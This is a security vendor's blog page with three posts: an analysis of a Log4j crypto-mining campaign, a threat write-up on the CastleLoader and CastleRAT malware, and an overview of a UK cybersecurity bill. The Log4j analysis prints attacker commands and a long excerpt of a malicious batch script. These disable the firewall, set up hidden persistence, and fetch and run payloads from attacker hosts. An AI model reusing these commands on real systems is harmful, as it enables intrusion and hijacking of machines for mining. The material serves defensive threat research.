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April 3, 2022

Analyzing Log4j Vulnerability in Crypto Mining Attack

Discover how Darktrace detected a campaign-like pattern that used the Log4j vulnerability for crypto-mining across multiple customers.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst
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03
Apr 2022

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

MITRE ATT&CK techniques observed

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Footnotes

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hanah Darley
Director of Threat Research
Written by
Steve Robinson
Principal Consultant for Threat Detection
Written by
Ross Ellis
Principal Cyber Analyst

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November 27, 2025

CastleLoader & CastleRAT: Behind TAG150’s Modular Malware Delivery System

CastleLoader & CastleRAT: Behind TAG150’s Modular Malware Delivery SystemDefault blog imageDefault blog image

What is TAG-150?

TAG-150, a relatively new Malware-as-a-Service (MaaS) operator, has been active since March 2025, demonstrating rapid development and an expansive, evolving infrastructure designed to support its malicious operations. The group employs two custom malware families, CastleLoader and CastleRAT, to compromise target systems, with a primary focus on the United States [1]. TAG-150’s infrastructure included numerous victim-facing components, such as IP addresses and domains functioning as command-and-control (C2) servers associated with malware families like SecTopRAT and WarmCookie, in addition to CastleLoader and CastleRAT [2].

As of May 2025, CastleLoader alone had infected a reported 469 devices, underscoring the scale and sophistication of TAG-150’s campaign [1].

What are CastleLoader and CastleRAT?

CastleLoader is a loader malware, primarily designed to download and install additional malware, enabling chain infections across compromised systems [3]. TAG-150 employs a technique known as ClickFix, which uses deceptive domains that mimic document verification systems or browser update notifications to trick victims into executing malicious scripts. Furthermore, CastleLoader leverages fake GitHub repositories that impersonate legitimate tools as a distribution method, luring unsuspecting users into downloading and installing malware on their devices [4].

CastleRAT, meanwhile, is a remote access trojan (RAT) that serves as one of the primary payloads delivered by CastleLoader. Once deployed, CastleRAT grants attackers extensive control over the compromised system, enabling capabilities such as keylogging, screen capturing, and remote shell access.

TAG-150 leverages CastleLoader as its initial delivery mechanism, with CastleRAT acting as the main payload. This two-stage attack strategy enhances the resilience and effectiveness of their operations by separating the initial infection vector from the final payload deployment.

How are they deployed?

Castleloader uses code-obfuscation methods such as dead-code insertion and packing to hinder both static and dynamic analysis. After the payload is unpacked, it connects to its command-and-control server to retrieve and running additional, targeted components.

Its modular architecture enables it to function both as a delivery mechanism and a staging utility, allowing threat actors to decouple the initial infection from payload deployment. CastleLoader typically delivers its payloads as Portable Executables (PEs) containing embedded shellcode. This shellcode activates the loader’s core module, which then connects to the C2 server to retrieve and execute the next-stage malware.[6]

Following this, attackers deploy the ClickFix technique, impersonating legitimate software distribution platforms like Google Meet or browser update notifications. These deceptive sites trick victims into copying and executing PowerShell commands, thereby initiating the infection kill chain. [1]

When a user clicks on a spoofed Cloudflare “Verification Stepprompt, a background request is sent to a PHP script on the distribution domain (e.g., /s.php?an=0). The server’s response is then automatically copied to the user’s clipboard using the ‘unsecuredCopyToClipboard()’ function. [7].

The Python-based variant of CastleRAT, known as “PyNightShade,” has been engineered with stealth in mind, showing minimal detection across antivirus platforms [2]. As illustrated in Figure 1, PyNightShade communicates with the geolocation API service ip-api[.]com, demonstrating both request and response behavior

Packet Capture (PCAP) of PyNightShade, the Python-based variant of CastleRAT, communicating with the geolocation API service ip-api[.]com.
Figure 1: Packet Capture (PCAP) of PyNightShade, the Python-based variant of CastleRAT, communicating with the geolocation API service ip-api[.]com.

Darktrace Coverage

In mid-2025, Darktrace observed a range of anomalous activities across its customer base that appeared linked to CastleLoader, including the example below from a US based organization.

The activity began on June 26, when a device on the customer’s network was observed connecting to the IP address 173.44.141[.]89, a previously unseen IP for this network along with the use of multiple user agents, which was also rare for the user.  It was later determined that the IP address was a known indicator of compromise (IoC) associated with TAG-150’s CastleRAT and CastleLoader operations [2][5].

Figure 2: Darktrace’s detection of a device making unusual connections to the malicious endpoint 173.44.141[.]89.

The device was observed downloading two scripts from this endpoint, namely ‘/service/download/data_5x.bin’ and ‘/service/download/data_6x.bin’, which have both been linked to CastleLoader infections by open-source intelligence (OSINT) [8]. The archives contains embedded shellcode, which enables attackers to execute arbitrary code directly in memory, bypassing disk writes and making detection by endpoint detection and response (EDR) tools significantly more difficult [2].

 Darktrace’s detection of two scripts from the malicious endpoint.
Figure 3: Darktrace’s detection of two scripts from the malicious endpoint.

In addition to this, the affected device exhibited a high volume of internal connections to a broad range of endpoints, indicating potential scanning activity. Such behavior is often associated with reconnaissance efforts aimed at mapping internal infrastructure.

Darktrace / NETWORK correlated these behaviors and generated an Enhanced Monitoring model, a high-fidelity security model designed to detect activity consistent with the early stages of an attack. These high-priority models are continuously monitored and triaged by Darktrace’s Security Operations Center (SOC) as part of the Managed Threat Detection and Managed Detection & Response services, ensuring that subscribed customers are promptly alerted to emerging threats.

Darktrace detected an unusual ZIP file download alongside the anomalous script, followed by internal connectivity. This activity was correlated under an Enhanced Monitoring model.
Figure 4: Darktrace detected an unusual ZIP file download alongside the anomalous script, followed by internal connectivity. This activity was correlated under an Enhanced Monitoring model.

Darktrace Autonomous Response

Fortunately, Darktrace’s Autonomous Response capability was fully configured, enabling it to take immediate action against the offending device by blocking any further connections external to the malicious endpoint, 173.44.141[.]89. Additionally, Darktrace enforced a ‘group pattern of life’ on the device, restricting its behavior to match other devices in its peer group, ensuring it could not deviate from expected activity, while also blocking connections over 443, shutting down any unwanted internal scanning.

Figure 5: Actions performed by Darktrace’s Autonomous Response to contain the ongoing attack.

Conclusion

The rise of the MaaS ecosystem, coupled with attackers’ growing ability to customize tools and techniques for specific targets, is making intrusion prevention increasingly challenging for security teams. Many threat actors now leverage modular toolkits, dynamic infrastructure, and tailored payloads to evade static defenses and exploit even minor visibility gaps. In this instance, Darktrace demonstrated its capability to counter these evolving tactics by identifying early-stage attack chain behaviors such as network scanning and the initial infection attempt. Autonomous Response then blocked the CastleLoader IP delivering the malicious ZIP payload, halting the attack before escalation and protecting the organization from a potentially damaging multi-stage compromise

Credit to Ahmed Gardezi (Cyber Analyst) Tyler Rhea (Senior Cyber Analyst)
Edited by Ryan Traill (Analyst Content Lead)

Appendices

Darktrace Model Detections

  • Anomalous Connection / Unusual Internal Connections
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous File / Script from Rare External Location
  • Initial Attack Chain Activity (Enhanced Monitoring Model)

MITRE ATT&CK Mapping

  • T15588.001 - Resource Development – Malware
  • TG1599 – Defence Evasion – Network Boundary Bridging
  • T1046 – Discovery – Network Service Scanning
  • T1189 – Initial Access

List of IoCs
IoC - Type - Description + Confidence

  • 173.44.141[.]89 – IP – CastleLoader C2 Infrastructure
  • 173.44.141[.]89/service/download/data_5x.bin – URI – CastleLoader Script
  • 173.44.141[.]89/service/download/data_6x.bin – URI  - CastleLoader Script
  • wsc.zip – ZIP file – Possible Payload

References

[1] - https://blog.polyswarm.io/castleloader

[2] - https://www.recordedfuture.com/research/from-castleloader-to-castlerat-tag-150-advances-operations

[3] - https://www.pcrisk.com/removal-guides/34160-castleloader-malware

[4] - https://www.scworld.com/brief/malware-loader-castleloader-targets-devices-via-fake-github-clickfix-phishing

[5] https://www.virustotal.com/gui/ip-address/173.44.141.89/community

[6] https://thehackernews.com/2025/07/castleloader-malware-infects-469.html

[7] https://www.cryptika.com/new-castleloader-attack-using-cloudflare-themed-clickfix-technique-to-infect-windows-computers/

[8] https://www.cryptika.com/castlebot-malware-as-a-service-deploys-range-of-payloads-linked-to-ransomware-attacks/

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Ahmed Gardezi
Cyber Analyst

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November 26, 2025

UK Cyber Security & Resilience Bill: What Organizations Need to Know

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Why the Bill has been introduced

The UK’s cyber threat landscape has evolved dramatically since the 2018 NIS regime was introduced. Incidents such as the Synnovis attack against hospitals and the British Library ransomware attack show how quickly operational risk can become public harm. In this context, the UK Department for Science, Innovation and Technology estimates that cyber-attacks cost UK businesses around £14.7 billion each year.

At the same time, the widespread adoption of AI has expanded organisations’ attack surfaces and empowered threat actors to launch more effective and sophisticated activities, including crafting convincing phishing campaigns, exploiting vulnerabilities and initiating ransomware attacks at unprecedented speed and scale.  

The CSRB responds to these challenges by widening who is regulated, accelerating incident reporting and tightening supply chain accountability, while enabling rapid updates that keep pace with technology and emerging risks.

Key provisions of the Cyber Security and Resilience Bill

A wider set of organisations in scope

The Bill significantly broadens the range of organisations regulated under the NIS framework.

  • Managed service providers (MSPs) - medium and large MSPs, including MSSPs, managed SOCs, SIEM providers and similar services,will now fall under NIS obligations due to their systemic importance and privileged access to client systems. The Information Commissioner’s Office (ICO) will act as the regulator. Government analysis anticipates that a further 900 to 1,100 MSPs will be in scope.
  • Data infrastructure is now recognised as essential to the functioning of the economy and public services. Medium and large data centres, as well as enterprise facilities meeting specified thresholds, will be required to implement appropriate and proportionate measures to manage cyber risk. Oversight will be shared between DSIT and Ofcom, with Ofcom serving as the operational regulator.
  • Organisations that manage electrical loads for smart appliances, such as those supporting EV charging during peak times, are now within scope.

These additions sit alongside existing NIS-regulated sectors such as transport, energy, water, health, digital infrastructure, and certain digital services (including online marketplaces, search engines, and cloud computing).

Stronger supply chain requirements

Under the CSRB, regulators can now designate third-party suppliers as ‘designated critical suppliers’ (DCS) when certain threshold criteria are met and where disruption could have significant knock-on effects. Designated suppliers will be subject to the same security and incident-reporting obligations as Operators of Essential Services (OES) and Relevant Digital Service Providers (RDSPs).

Government will scope the supply chain duties for OES and RDSPs via secondary legislation, following consultation. infrastructure incidents where a single supplier’s compromise caused widespread disruption.

Faster incident reporting

Sector-specific regulators, 12 in total, will be responsible for implementing the CSRB, allowing for more effective and consistent reporting. In addition, the CSRB introduces a two-stage reporting process and expands incident reporting criteria. Regulated entities must submit an initial notification within 24 hours of becoming aware of a significant incident, followed by an incident report within 72 hours. Incident reporting criteria are also broadened to capture incidents beyond those which actually resulted in an interruption, ensuring earlier visibility for regulators and the National Cyber Security Centre (NCSC). The importance of information sharing across agencies, law enforcement and regulators is also facilitated by the CSRB.

The reforms also require data centres and managed service providers to notify affected customers where they are likely to have been impacted by a cyber incident.

An agile regulatory framework

To keep pace with technological change, the CSRB will enable the Secretary of State to update elements of the framework via secondary legislation. Supporting materials such as the NCSC Cyber Assessment Framework (CAF) are to be "put on a stronger footing” allowing for requirements to be more easily followed, managed and updated. Regulators will also now be able to recover full costs associated with NIS duties meaning they are better resourced to carry out their associated responsibilities.

Relevant Managed Service Providers must identify and take appropriate and proportionate measures to manage risks to the systems they rely on for providing services within the UK. Importantly, these measures must, having regard to the state of the art, ensure a level of security appropriate to the risk posed, and prevent or minimise the impact of incidents.

The Secretary of State will also be empowered to issue a Statement of Strategic Priorities, setting cross-regime outcomes to drive consistency across the 12 competent authorities responsible for implementation.

Penalties

The enforcement framework will be strengthened, with maximum fines aligned with comparable regimes such as the GDPR, which incorporate maximums tied to turnover. Under the CSRB, maximum penalties for more serious breaches could be up to £17 million or 4% of global turnover, whichever is higher.

Next steps

The Bill is expected to progress through Parliament over the course of 2025 and early 2026, with Royal Assent anticipated in 2026. Once enacted, most operational measures will not take immediate effect. Instead, Government will bring key components into force through secondary legislation following further consultation, providing regulators and industry with time to adjust practices and prepare for compliance.

Anticipated timeline

  • 2025-2026: Parliamentary scrutiny and passage;
  • 2026: Royal Assent;  
  • 2026 consultation: DSIT intends to consult on detailed implementation;
  • From 2026 onwards: Phased implementation via secondary legislation, following further consultation led by DSIT.

How Darktrace can help

The CSRB represents a step change in how the UK approaches digital risk, shifting the focus from compliance to resilience.

Darktrace can help organisations operationalise this shift by using AI to detect, investigate and respond to emerging threats at machine speed, before they escalate into incidents requiring regulatory notification. Proactive tools which can be included in the Darktrace platform allow security teams to stress-test defences, map supply chain exposure and rehearse recovery scenarios, directly supporting the CSRB’s focus on resilience, transparency and rapid response. If an incident does occur, Darktrace’s autonomous agent, Cyber AI Analyst, can accelerate investigations and provide a view of every stage of the attack chain, supporting timely reporting.  

Darktrace’s AI can provide organisations with a vital lens into both internal and external cyber risk. By continuously learning patterns of behaviour across interconnected systems, Darktrace can flag potential compromise or disruption to detect supply chain risk before it impacts your organisation.

In a landscape where compliance and resilience go hand in hand, Darktrace can equip organisations to stay ahead of both evolving threats and evolving regulatory requirements.

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